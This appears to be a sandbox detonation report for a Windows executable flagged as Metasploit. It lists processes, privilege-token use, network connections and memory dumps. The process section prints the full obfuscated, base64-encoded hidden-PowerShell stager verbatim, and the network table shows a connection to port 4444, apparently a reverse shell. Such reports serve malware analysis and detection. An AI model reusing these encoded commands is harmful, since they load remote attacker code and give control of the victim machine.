memory/2692-16-0x0000000073F20000-0x00000000744CB000-memory.dmp
memory/2692-17-0x0000000002DA0000-0x0000000002DA1000-memory.dmp
memory/2692-18-0x0000000073F20000-0x00000000744CB000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-21 23:22
Reported
2024-01-21 23:24
Platform
win10v2004-20231215-en
Max time kernel
129s
Max time network
149s
Command Line
Signatures
MetaSploit
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\6e1a88382a9a78105094ed412b1a9038.exe
"C:\Users\Admin\AppData\Local\Temp\6e1a88382a9a78105094ed412b1a9038.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start /b /min p^o^wer^sh^ell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBGAFgAbABCADIARQBDAEEANwBWAFcAKwAyACsAYgBTAEIARAArAE8AWgBIAHkAUAA2AEQASwBFAHEAQQA2AEIAagA4AHUAYQBTAEoAVgB1AGcAVwBNADcAUwBSADIALwBJAGoAZgB0AGEAbwBOAHIARwBIAGoAaABYAFYAZwBzAFUATgA2AC8AZAA5AHYAcwBFADIAYQBxAHUAbABkAGUAOQBJAGgAUAAvAFkAeABNAHoAdgB6AHoAVABlAHoATABKAFAAUQBFAFoAUwBIADAAbgAyAEwAUwBWADkATwBqAG8AKwA2AE8ATQBLAEIAcABCAFQAOAB5AG4ATgBSAEsAcABDAHIAaQAwADIAZwBIAGgAMwBCAFIAaQBFACsANgA1AHgASgBIAHkAVgBsAGoAdABaAHIAaQB3AGUAWQBoAG8AdgBMAFMAegBPAEoASQBoAEsASwAvAGIAegBVAEkAQQBMAEYATQBRAG4AdQBHAFMAVwB4AG8AawBwAC8AUwBXAE8AZgBSAE8AVAAwADkAdgA2AEIATwBFAEwANgBJAGgAVQArAGwAeABxAE0AMwAyAE4AMgBFAEUAdABOADcAUABoAEUATwBrAFcAaABtACsAMwBkAGMAQQBkAG4AMwBwAFEARwBhADAAYQBGAEkAbgAvADYASgBLAHYAegAwAC8ASwBpAFYASAA5AE0ATQBJAHMAVgBlAFoARABHAGcAZwBRAGwAbAB6AEYAWgBsAGIANgBxADIAWQBGADMANgBaAG8AbwBjAHAAcwA2AEUAWQAvADUAVQBwAFQARwBOAEsAeABXAFMAcwBNAHcAeABrAHYAUwBBAFcAcwBiADAAaQBiAEMANQAyADQAcwBxAHgAQQBGAGYAQwBJAGkAawBpAGkAVQBkAHYARgBrAEIAdgBiAGIAaQBnAHoARABiAHMAUQBkADUATABvAFIAaQBXAE8ANQBLAE0AMAB6ADAALwBQAEYANABrADkAbABmAGoAaQAzAG4ANABTAEMAQgBxAFQAVQBDAGcAVwBKACsASABwAEEAbwBnADEAMQBTAEYAeABxADQAdABCAGwAcABFACsAVwBDADkAQQBhAGkASQBpAEcAMwBrAEoAVgBRAFcAegBEAFYAMABRAHAAaABBAGwAagBSAGUAbAAzAHoAQwBnAGQAcwBzADEAUgArADEAVQBsADUAYgBVAFMAUwBIAFYARgBwAEIAWQBoAGsAMgAvAEUAMgBlAFoAdQB3AHMAaABlAFUAMwA3AEQAMABTAHoANwBLAGoAdwB2AEQAQQBEAG8AdgBwADQAYwBuAHgAdwB2AGMANwBxAGsAbgAvAHMAUAByAC8AawBDAG8ANgBQADUAYgBrAHoAQQBQAGEAWABMAFkANwBxAFQAKwB5AGoAcABSAGEAawBOAEIAMgBIAEIAbwB4AFMAbQBoAGIAcwBvAEkAZQByAGkAQgBWAHkAcAA4AEcAZwBWAGYANgA1AGQAegBrAFYAQgBNAE8AMQBIAHMARABJAGYAYwBlAG8AdQBRAE8ATwBRAHoAbwBLAC8AeQBsAFoALwBUAGsAcQBMAEwARwBsAEkAcgBEAFQARQBBAFgAVgB5ADMAaQBsAHYASQBVAHkAVwBqAE8AegBDAEsAKwBWAGkASABmAEIASQBrAFEAOABiAHgATABVAEkASQB4ADQAVwBHAFcAWgBaAG8AbgA5AFEAcQB3AGQAVQB2AE8AZwBhAEMAVwBVAHUAaQBaAEEARABXAFkAcgBCAEsAMABpAGcAKwByADAAegArAHoAUQBvAGMAaQB0AHMAawB3AEQAZwAyAGMAKwBCAGUAWQBVAGwAcwBKADMAawAwAGcAZQBHAHAALwBuAHAAMgBSAHkARQBaAEoAUABoAE8AQwA1AEsAMwBRAFQASwB6AFMAbABLAEEANABJAFoAYwBZAHMAUwBDAG0ATgA2ADIARQBLAEoANABMAHUAaAAvAE0AMwBkAGQAcwBJAEUAZABYAEEAcwBjAG4ATQBMAGQAWQAvAGkANABUAFMAVABoADcARwBJAEUAZwBmAHkAQgBaAEgAZgBEAGQAYgBFAG8AWgBoAGwAUQBCAFMAbABKAG4AVwBKAGsAUQA2AG8AbAA1ADgAcQB2AHcAbQBEAGkAUgBtAEQARQBnAEIATABHADAAZwBEAHIARwBUAGgARAAwAFQARwBnAGcAZwBjAGgASQB5AHIAcABRAEUAUgByAFcARABOAFMAQQBBAFMAdQA1AHEAMwBHAGYAYQBnAHcAZwA4ADAAMwA1AEUARwBlADgAUwBWAHYALwBjAHUASgAvAEcAZQBzAFIAawBLAGUAZgBpAHYAZgBJAFAAVQBEAGgAZwBYAFIAVwBsAEUASQB3AEcATgBJADAATQBVAHkAUABOAGYAVABuADcAVgBMADgAQQBIAE0AeQBJAEgALwBKAFcAOABJAHUAWgBHAEsAagBJAGUARgAwAEsAZQAwAGYAQQBBAHgAaQA3ADAAUwBFAEQAWQBkAHMAUQBEAEEAOABmAGsAcgBMAGIAdgBDADgAbwA3ADcAWgBaADIARQBUAHoAVABWAHMAagBhADcAdABXAEsAbABsAHQAYgArAEwAYgBoAE8ANwBUAE8AMwBlAHUAcgBoADYAWgBHAHEAeQAzAGUAZABzAHkANAAyADcAQQAvAEkATAByADEAdABzADYASABEAG4ATABjAEsANQBkAGMARABFAFkAMQBNAGEAaQAzAGgATgBsAEYAegBSADcAVgBqAFoAcgB2AEcAUAByAGQAYgB1AHgATgBoAHkAMAB4AGIAYQBIAG0AbgBlADgAdwB2AFYAdABmAFAAVwBtADEAVwBLAGYAYgA1AHIAagB0AFcATQBiAHoAdABoAEkARABHAFcAdQAxADUAawBSAEgAMQBXAHIAdAB0AHEAcQB2AEEATABJAHAATABYAHMAcgA1AEgAWQBDAHUAbgAyADYAZwBUAEUAMAB3AE4AcwBiAG8AeABVAGIAZQBvAHYAVgByADgAegArAC8AYgBoAGkAegA4AGEAcwBxAGQAVgBzAGYAegBuAG0AOABlAEIAcwBhAG0AbQBhAGQAdQBGAGkAcQA1ADAAaQBaAEgAQwAzADIAawA0AG4ANQBUADYALwBhAHoAcQBCAFUAUQB1ADUAZABtAEgAVwBWAHEAaQBPAGsAQgBuAFcAUgA3AGIAQgByADYAZABHAGgATAByAGEAQwBIAHQAcgBiAG4AbwBJAE4AUwB1AGUAaQBRAHoAYgBvAFcAVABXAEcAOQBwAEcAcgAyAGMAYgBhAE4AaAA0AGUATABRAHUATgBFACsANwBHAEUAKwB3AGIANAB4AEgARgBUAHAAYgBUAC8AbwArAHoATwAxAHQAcwAzAGUAdAA2AGIAVwBXAFMANQA3ADUAYgBBAHYAQQBOAFQAagBDAFgAaAA5AGsAUABMAFAAaQArAEUAdQBRAHMAZAA0AGoANAAzADIASAB4AHgAVwA4AE0AagBnAHkAUQBNAGEAZQBQAGEASwBHAFAAMQAzAGIAWABRAGIANwBkADgATQBLAFIAeQBQAFcAbQBXAEIAMABNADAAdAB0AFQAUwB0AFAAdQB6AFgAVQAxAFAAbQA0ADQAYQBFAGUAaQBHAFAAUAA2AEcARQBVAGIANgB4AG4AUwB5AHUAUABYAE8ANgBPAC8AKwBoAE0AbAA5AHAAbwB3AHMANAAxAHkAKwB4ADEALwBVAGsAVwBzADcAWQBPAHMAdAA5AHQAMAA3AHAAMgBaAHUAVwB0AGMAMwB2ACsANABXAFoATQBSAHcARgBIAFEAMAAwAGIAdgBjAHYANABBAG8AUQBwAFAASQBTAHYAbQBQAEMAegB0AHQAMwBHAFUAZQB4AGoAQgBnAHkAQgBmAHAAeQBYAG8AcwAwAGoAKwA5AEIAaAB1ADUAeABtAEcAbwBxAFMAWABjAHcAcgBFAG8AVwBFAHcAYgBVAEcARgAxADkATwBhAHMAUQBZAGQANwBJAEcAdgAyAHYARgBjAEwAbgBzAFcAMwA1ADIAQQB3ADEAaABXAEsAMgA4AE8AVgBLAGwARgAwAEgAMQBXACsAUABQAGwAeQA0AHYAWgArAEEAawAxAEUAbgBJAFMAegBjAGsAOQBJAFIAZgAxAEoAKwBxAHUAZwA0ADkAWABIACsAcQA2AFIARABnAHIANABkAGwAOABuAFUASwBOAHcAcABZAEEAMgAzAEEAWgBHACsAVgA3AGEAeQBxAFcAZQBVAFUATgB1AGgALwB4AGUAbABRAHIARAA3ADgAdQBmACsARwAwADcAZQAxAGYAOQBqADkASgBlAHoAMABZAGgAYgByAEQANAB2AGYATAAvAHcAVwBrAEwAOABiADkAeABoAFQAQQBZAEkARABhAEQAYQBNADcARwArADQAdAA4AE0ALwBNAE8ATABWAC8AYgA5AEIAawBPAC8AbAA0AGMAbABlADMAMgA0AFQAYwBkAHEAQgBsADQASwBUADQANwA4AEIALwBiAGYAQwBaAFMAawBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBGAFgAbABCADIARQBDAEEANwBWAFcAKwAyACsAYgBTAEIARAArAE8AWgBIAHkAUAA2AEQASwBFAHEAQQA2AEIAagA4AHUAYQBTAEoAVgB1AGcAVwBNADcAUwBSADIALwBJAGoAZgB0AGEAbwBOAHIARwBIAGoAaABYAFYAZwBzAFUATgA2AC8AZAA5AHYAcwBFADIAYQBxAHUAbABkAGUAOQBJAGgAUAAvAFkAeABNAHoAdgB6AHoAVABlAHoATABKAFAAUQBFAFoAUwBIADAAbgAyAEwAUwBWADkATwBqAG8AKwA2AE8ATQBLAEIAcABCAFQAOAB5AG4ATgBSAEsAcABDAHIAaQAwADIAZwBIAGgAMwBCAFIAaQBFACsANgA1AHgASgBIAHkAVgBsAGoAdABaAHIAaQB3AGUAWQBoAG8AdgBMAFMAegBPAEoASQBoAEsASwAvAGIAegBVAEkAQQBMAEYATQBRAG4AdQBHAFMAVwB4AG8AawBwAC8AUwBXAE8AZgBSAE8AVAAwADkAdgA2AEIATwBFAEwANgBJAGgAVQArAGwAeABxAE0AMwAyAE4AMgBFAEUAdABOADcAUABoAEUATwBrAFcAaABtACsAMwBkAGMAQQBkAG4AMwBwAFEARwBhADAAYQBGAEkAbgAvADYASgBLAHYAegAwAC8ASwBpAFYASAA5AE0ATQBJAHMAVgBlAFoARABHAGcAZwBRAGwAbAB6AEYAWgBsAGIANgBxADIAWQBGADMANgBaAG8AbwBjAHAAcwA2AEUAWQAvADUAVQBwAFQARwBOAEsAeABXAFMAcwBNAHcAeABrAHYAUwBBAFcAcwBiADAAaQBiAEMANQAyADQAcwBxAHgAQQBGAGYAQwBJAGkAawBpAGkAVQBkAHYARgBrAEIAdgBiAGIAaQBnAHoARABiAHMAUQBkADUATABvAFIAaQBXAE8ANQBLAE0AMAB6ADAALwBQAEYANABrADkAbABmAGoAaQAzAG4ANABTAEMAQgBxAFQAVQBDAGcAVwBKACsASABwAEEAbwBnADEAMQBTAEYAeABxADQAdABCAGwAcABFACsAVwBDADkAQQBhAGkASQBpAEcAMwBrAEoAVgBRAFcAegBEAFYAMABRAHAAaABBAGwAagBSAGUAbAAzAHoAQwBnAGQAcwBzADEAUgArADEAVQBsADUAYgBVAFMAUwBIAFYARgBwAEIAWQBoAGsAMgAvAEUAMgBlAFoAdQB3AHMAaABlAFUAMwA3AEQAMABTAHoANwBLAGoAdwB2AEQAQQBEAG8AdgBwADQAYwBuAHgAdwB2AGMANwBxAGsAbgAvAHMAUAByAC8AawBDAG8ANgBQADUAYgBrAHoAQQBQAGEAWABMAFkANwBxAFQAKwB5AGoAcABSAGEAawBOAEIAMgBIAEIAbwB4AFMAbQBoAGIAcwBvAEkAZQByAGkAQgBWAHkAcAA4AEcAZwBWAGYANgA1AGQAegBrAFYAQgBNAE8AMQBIAHMARABJAGYAYwBlAG8AdQBRAE8ATwBRAHoAbwBLAC8AeQBsAFoALwBUAGsAcQBMAEwARwBsAEkAcgBEAFQARQBBAFgAVgB5ADMAaQBsAHYASQBVAHkAVwBqAE8AegBDAEsAKwBWAGkASABmAEIASQBrAFEAOABiAHgATABVAEkASQB4ADQAVwBHAFcAWgBaAG8AbgA5AFEAcQB3AGQAVQB2AE8AZwBhAEMAVwBVAHUAaQBaAEEARABXAFkAcgBCAEsAMABpAGcAKwByADAAegArAHoAUQBvAGMAaQB0AHMAawB3AEQAZwAyAGMAKwBCAGUAWQBVAGwAcwBKADMAawAwAGcAZQBHAHAALwBuAHAAMgBSAHkARQBaAEoAUABoAE8AQwA1AEsAMwBRAFQASwB6AFMAbABLAEEANABJAFoAYwBZAHMAUwBDAG0ATgA2ADIARQBLAEoANABMAHUAaAAvAE0AMwBkAGQAcwBJAEUAZABYAEEAcwBjAG4ATQBMAGQAWQAvAGkANABUAFMAVABoADcARwBJAEUAZwBmAHkAQgBaAEgAZgBEAGQAYgBFAG8AWgBoAGwAUQBCAFMAbABKAG4AVwBKAGsAUQA2AG8AbAA1ADgAcQB2AHcAbQBEAGkAUgBtAEQARQBnAEIATABHADAAZwBEAHIARwBUAGgARAAwAFQARwBnAGcAZwBjAGgASQB5AHIAcABRAEUAUgByAFcARABOAFMAQQBBAFMAdQA1AHEAMwBHAGYAYQBnAHcAZwA4ADAAMwA1AEUARwBlADgAUwBWAHYALwBjAHUASgAvAEcAZQBzAFIAawBLAGUAZgBpAHYAZgBJAFAAVQBEAGgAZwBYAFIAVwBsAEUASQB3AEcATgBJADAATQBVAHkAUABOAGYAVABuADcAVgBMADgAQQBIAE0AeQBJAEgALwBKAFcAOABJAHUAWgBHAEsAagBJAGUARgAwAEsAZQAwAGYAQQBBAHgAaQA3ADAAUwBFAEQAWQBkAHMAUQBEAEEAOABmAGsAcgBMAGIAdgBDADgAbwA3ADcAWgBaADIARQBUAHoAVABWAHMAagBhADcAdABXAEsAbABsAHQAYgArAEwAYgBoAE8ANwBUAE8AMwBlAHUAcgBoADYAWgBHAHEAeQAzAGUAZABzAHkANAAyADcAQQAvAEkATAByADEAdABzADYASABEAG4ATABjAEsANQBkAGMARABFAFkAMQBNAGEAaQAzAGgATgBsAEYAegBSADcAVgBqAFoAcgB2AEcAUAByAGQAYgB1AHgATgBoAHkAMAB4AGIAYQBIAG0AbgBlADgAdwB2AFYAdABmAFAAVwBtADEAVwBLAGYAYgA1AHIAagB0AFcATQBiAHoAdABoAEkARABHAFcAdQAxADUAawBSAEgAMQBXAHIAdAB0AHEAcQB2AEEATABJAHAATABYAHMAcgA1AEgAWQBDAHUAbgAyADYAZwBUAEUAMAB3AE4AcwBiAG8AeABVAGIAZQBvAHYAVgByADgAegArAC8AYgBoAGkAegA4AGEAcwBxAGQAVgBzAGYAegBuAG0AOABlAEIAcwBhAG0AbQBhAGQAdQBGAGkAcQA1ADAAaQBaAEgAQwAzADIAawA0AG4ANQBUADYALwBhAHoAcQBCAFUAUQB1ADUAZABtAEgAVwBWAHEAaQBPAGsAQgBuAFcAUgA3AGIAQgByADYAZABHAGgATAByAGEAQwBIAHQAcgBiAG4AbwBJAE4AUwB1AGUAaQBRAHoAYgBvAFcAVABXAEcAOQBwAEcAcgAyAGMAYgBhAE4AaAA0AGUATABRAHUATgBFACsANwBHAEUAKwB3AGIANAB4AEgARgBUAHAAYgBUAC8AbwArAHoATwAxAHQAcwAzAGUAdAA2AGIAVwBXAFMANQA3ADUAYgBBAHYAQQBOAFQAagBDAFgAaAA5AGsAUABMAFAAaQArAEUAdQBRAHMAZAA0AGoANAAzADIASAB4AHgAVwA4AE0AagBnAHkAUQBNAGEAZQBQAGEASwBHAFAAMQAzAGIAWABRAGIANwBkADgATQBLAFIAeQBQAFcAbQBXAEIAMABNADAAdAB0AFQAUwB0AFAAdQB6AFgAVQAxAFAAbQA0ADQAYQBFAGUAaQBHAFAAUAA2AEcARQBVAGIANgB4AG4AUwB5AHUAUABYAE8ANgBPAC8AKwBoAE0AbAA5AHAAbwB3AHMANAAxAHkAKwB4ADEALwBVAGsAVwBzADcAWQBPAHMAdAA5AHQAMAA3AHAAMgBaAHUAVwB0AGMAMwB2ACsANABXAFoATQBSAHcARgBIAFEAMAAwAGIAdgBjAHYANABBAG8AUQBwAFAASQBTAHYAbQBQAEMAegB0AHQAMwBHAFUAZQB4AGoAQgBnAHkAQgBmAHAAeQBYAG8AcwAwAGoAKwA5AEIAaAB1ADUAeABtAEcAbwBxAFMAWABjAHcAcgBFAG8AVwBFAHcAYgBVAEcARgAxADkATwBhAHMAUQBZAGQANwBJAEcAdgAyAHYARgBjAEwAbgBzAFcAMwA1ADIAQQB3ADEAaABXAEsAMgA4AE8AVgBLAGwARgAwAEgAMQBXACsAUABQAGwAeQA0AHYAWgArAEEAawAxAEUAbgBJAFMAegBjAGsAOQBJAFIAZgAxAEoAKwBxAHUAZwA0ADkAWABIACsAcQA2AFIARABnAHIANABkAGwAOABuAFUASwBOAHcAcABZAEEAMgAzAEEAWgBHACsAVgA3AGEAeQBxAFcAZQBVAFUATgB1AGgALwB4AGUAbABRAHIARAA3ADgAdQBmACsARwAwADcAZQAxAGYAOQBqADkASgBlAHoAMABZAGgAYgByAEQANAB2AGYATAAvAHcAVwBrAEwAOABiADkAeABoAFQAQQBZAEkARABhAEQAYQBNADcARwArADQAdAA4AE0ALwBNAE8ATABWAC8AYgA5AEIAawBPAC8AbAA0AGMAbABlADMAMgA0AFQAYwBkAHEAQgBsADQASwBUADQANwA4AEIALwBiAGYAQwBaAFMAawBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAFXlB2ECA7VW+2+bSBD+OZHyP6DKEqA6Bj8uaSJVugWM7SR2/IjftaoNrGHjhXVgsUN6/d9vsE2aqulde9IhP/YxMzvzzTezLJPQEZSH0n2LSV9Ojo+6OMKBpBT8ynNRKpCri02gHh3BRiE+65xJHyVljtZriweYhovLSzOJIhKK/bzUIALFMQnuGSWxokp/SWOfROT09v6BOEL6IhU+lxqM32N2EEtN7PhEOkWhm+3dcAdn3pQGa0aFIn/6JKvz0/KiVH9MMIsVeZDGggQllzFZlb6q2YF36Zoocps6EY/5UpTGNKxWSsMwxkvSAWsb0ibC524sqxAFfCIikiiUdvFkBvbbigzDbsQd5LoRiWO5KM0z0/PF4k9lfji3n4SCBqTUCgWJ+HpAog11SFxq4tBlpE+WC9AaiIiG3kJVQWzDV0QphAljRel3zCgdss1R+1Ul5bUSSHVFpBYhk2/E2eZuwsheU37D0Sz7KjwvDADovp4cnxwvc7qkn/sPr/kCo6P5bkzAPaXLY7qT+yjpRakNB2HBoxSmhbsoIeriBVyp8GgVf65dzkVBMO1HsDIfceouQOOQzoK/ylZ/TkqLLGlIrDTEAXVy3ilvIUyWjOzCK+ViHfBIkQ8bxLUIIx4WGWZZon9QqwdUvOgaCWUuiZADWYrBK0ig+r0z+zQocitskwDg2c+BeYUlsJ3k0geGp/np2RyEZJPhOC5K3QTKzSlKA4IZcYsSCmN62EKJ4Luh/M3ddsIEdXAscnMLdY/i4TSTh7GIEgfyBZHfDdbEoZhlQBSlJnWJkQ6ol58qvwmDiRmDEgBLG0gDrGThD0TGgggchIyrpQERrWDNSAASu5q3Gfagwg8035EGe8SVv/cuJ/GesRkKefivfIPUDhgXRWlEIwGNI0MUyPNfTn7VL8AHMyIH/JW8IuZGKjIeF0Ke0fAAxi70SEDYdsQDA8fkrLbvC8o77ZZ2ETzTVsja7tWKlltb+LbhO7TO3eurh6ZGqy3edsy427A/ILr1ts6HDnLcK5dcDEY1Mai3hNlFzR7VjZrvGPrdbuxNhy0xbaHmne8wvVtfPWm1WKfb5rjtWMbzthIDGWu15kRH1WrttqqvALIpLXsr5HYCun26gTE0wNsboxUbeovVr8z+/bhiz8asqdVsfznm8eBsammaduFiq50iZHC32k4n5T6/azqBUQu5dmHWVqiOkBnWR7bBr6dGhLraCHtrbnoINSueiQzboWTWG9pGr2cbaNh4eLQuNE+7GE+wb4xHFTpbT/o+zO1ts3et6bWWS575bAvANTjCXh9kPLPi+EuQsd4j432HxxW8MjgyQMaePaKGP13bXQb7d8MKRyPWmWB0M0ttTStPuzXU1Pm44aEeiGPP6GEUb6xnSyuPXO6O/+hMl9pows41y+x1/UkWs7YOst9t07p2ZuWtc3v+4WZMRwFHQ00bvcv4AoQpPISvmPCztt3GUexjBgyBfpyXos0j+9Bhu5xmGoqSXcwrEoWEwbUGF19OasQYd7IGv2vFcLnsW352Aw1hWK28OVKlF0H1W+PPly4vZ+Ak1EnISzck9IRf1J+qug49XH+q6RDgr4dl8nUKNwpYA23AZG+V7ayqWeUUNuh/xelQrD78uf+G07e1f9j9Jez0YhbrD4vfL/wWkL8b9xhTAYIDaDaM7G+4t8M/MOLV/b9BkO/l4cle324TcdqBl4KT478B/bfCZSkKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| N/A | 10.0.0.31:4444 | tcp | |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/1996-0-0x0000000000400000-0x000000000044B000-memory.dmp
memory/968-5-0x00000000052D0000-0x00000000052E0000-memory.dmp
memory/968-4-0x00000000030B0000-0x00000000030E6000-memory.dmp
memory/968-3-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/968-6-0x0000000005910000-0x0000000005F38000-memory.dmp
memory/968-7-0x00000000056E0000-0x0000000005702000-memory.dmp
memory/968-8-0x0000000005880000-0x00000000058E6000-memory.dmp
memory/968-9-0x0000000005F40000-0x0000000005FA6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nuhdc0ii.qb4.ps1
